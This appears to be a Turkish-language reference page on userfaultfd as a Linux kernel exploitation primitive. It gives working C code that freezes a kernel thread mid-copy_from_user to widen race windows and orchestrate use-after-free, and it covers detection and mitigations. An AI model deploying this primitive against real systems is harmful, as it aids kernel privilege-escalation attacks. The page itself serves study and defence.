Skip to content

userfaultfd exploitation

userfaultfd(2) ile bir userspace page-fault handler register et ki bir kernel thread'i izlenen bir page'e (örneğin copy_from_user içinde) dokunduğunda, saldırganın kontrolünde süresiz block'lansın — race window'larını genişletip heap'i işlem ortasında dondurarak.

Mechanism

userfaultfd, seçilen bir adres aralığı için page-fault çözümünü bir userspace thread'ine devreder. Herhangi bir thread — process adına hareket eden bir kernel thread'i dahil — backing'i olmayan bir UFFDIO_REGISTER_MODE_MISSING page üzerinde fault'ladığında, kernel bir zero page allocate etmez. Bunun yerine bir UFFD_EVENT_PAGEFAULT mesajı kuyruğa alır ve userspace UFFDIO_COPY (ya da UFFDIO_ZEROPAGE/UFFDIO_WAKE) ile yanıtlayana kadar fault'layan context'i uyutur.

Note

Exploitation invariant'ı: user belleğine erişen herhangi bir kernel kod yolu — copy_from_user(), copy_to_user(), get_user() — onu userfaultfd-backed bir page'e işaret ettirerek saldırganın seçtiği bir instruction'da keyfi bir süre boyunca durdurulabilir. Kernel thread'inin devam edip etmeyeceğine ve ne zaman edeceğine userspace karar verir. Bu, mikroskobik, normalde kazanılamaz bir race window'unu yalnızca saldırganın ne kadar uyumayı seçtiğiyle sınırlı olan bir window'a çevirir.

Bu tek yetenek birkaç saldırı ailesinin temelini oluşturur:

  • Race-window widening — bir thread'i bir check ile use arasında durdur (TOCTOU) ki ikinci bir thread race'i deterministik olarak kazanabilsin.
  • Heap-spray lifetime kontrolü — saldırgan kontrolündeki bir buffer'ı henüz kmalloc etmiş ama henüz kfree etmemiş bir thread'i durdur ve nesneyi canlı tut (bkz. setxattr + userfaultfd).
  • Use-after-free orkestrasyon — bir operation'ı yarıda duraklat, eşzamanlı bir operation nesneyi free edip reclaim ederken.

Warning

Teknik çok genel olduğundan, modern kernel'ler onu kapı altına alır. vm.unprivileged_userfaultfd=0, unprivileged caller'ları yalnızca user-mode fault'larına kısıtlar; kernel-mode fault handling (copy_from_user'ı durduran kısım) ardından CAP_SYS_PTRACE gerektirir. UFFD_USER_MODE_ONLY flag'i bir caller'ın kernel-fault handling'i gönüllü olarak bırakmasına izin verir. userfaultfd'nin tamamen block'landığı yerlerde, FUSE-based exploitation genel amaçlı yedektir.

Walkthrough

fd'yi oluştur, bir region map'le ve onu missing-fault olarak register et:

int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

struct uffdio_api api = { .api = UFFD_API };
ioctl(uffd, UFFDIO_API, &api);

void *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

struct uffdio_register reg = {
        .range  = { .start = (unsigned long)page, .len = page_size },
        .mode   = UFFDIO_REGISTER_MODE_MISSING,
};
ioctl(uffd, UFFDIO_REGISTER, &reg);

Fault üzerinde block'lanan ve onu ne zaman serbest bırakacağını seçen bir handler thread'i çalıştır:

static void *fault_handler_thread(void *arg)
{
        struct uffd_msg msg;
        struct pollfd p = { .fd = uffd, .events = POLLIN };

        poll(&p, 1, -1);                  /* sleeps until kernel faults */
        read(uffd, &msg, sizeof(msg));
        if (msg.event != UFFD_EVENT_PAGEFAULT)
                exit(1);

        /* === kernel thread is now FROZEN here ===
           do whatever the exploit needs: win a race, trigger a UAF... */

        struct uffdio_copy cp = {
                .dst  = msg.arg.pagefault.address & ~(page_size - 1),
                .src  = (unsigned long)src_page,
                .len  = page_size,
        };
        ioctl(uffd, UFFDIO_COPY, &cp);    /* resumes the kernel thread */
        return NULL;
}

Şimdi main thread'den page'den okuyan herhangi bir syscall'u sür; handler UFFDIO_COPY çıkarana kadar kernel copy_from_user içinde durur:

/* e.g. a syscall whose handler does copy_from_user(kbuf, page, n) */
setxattr("/tmp/f", "user.x", page, page_size, 0);  /* blocks in kernel */

Beklenen çıktı: handler thread'i UFFDIO_COPY'yi çalıştırana kadar main thread setxattr'tan dönmez. Her iki thread'i instrument etmek, kernel'in tüm aralık boyunca fault'ta park ettiğini gösterir — tam da exploit'in ihtiyaç duyduğu kontrol edilebilir window.

Detection

Unprivileged process'lerin userfaultfd(2) çağrıları denetlenebilir (seccomp syscall'u doğrudan reddedebilir). Bir uffd region register edip sonra hemen o region'dan kopyaladığı bilinen bir syscall'a giren bir process güçlü bir davranışsal göstergedir. vm.unprivileged_userfaultfd=0 altındaki kernel-fault handling denemeleri bir printk uyarısı yayar.

Mitigation

  • sysctl vm.unprivileged_userfaultfd=0 (modern default) — unprivileged caller'lar için user-mode fault'larına kısıtla.
  • CONFIG_USERFAULTFD=n ya da container/sandbox policy'sinde userfaultfd'yi seccomp ile reddet.
  • UFFD_USER_MODE_ONLY geçir ki fd asla kernel fault'larını durduramasın.

References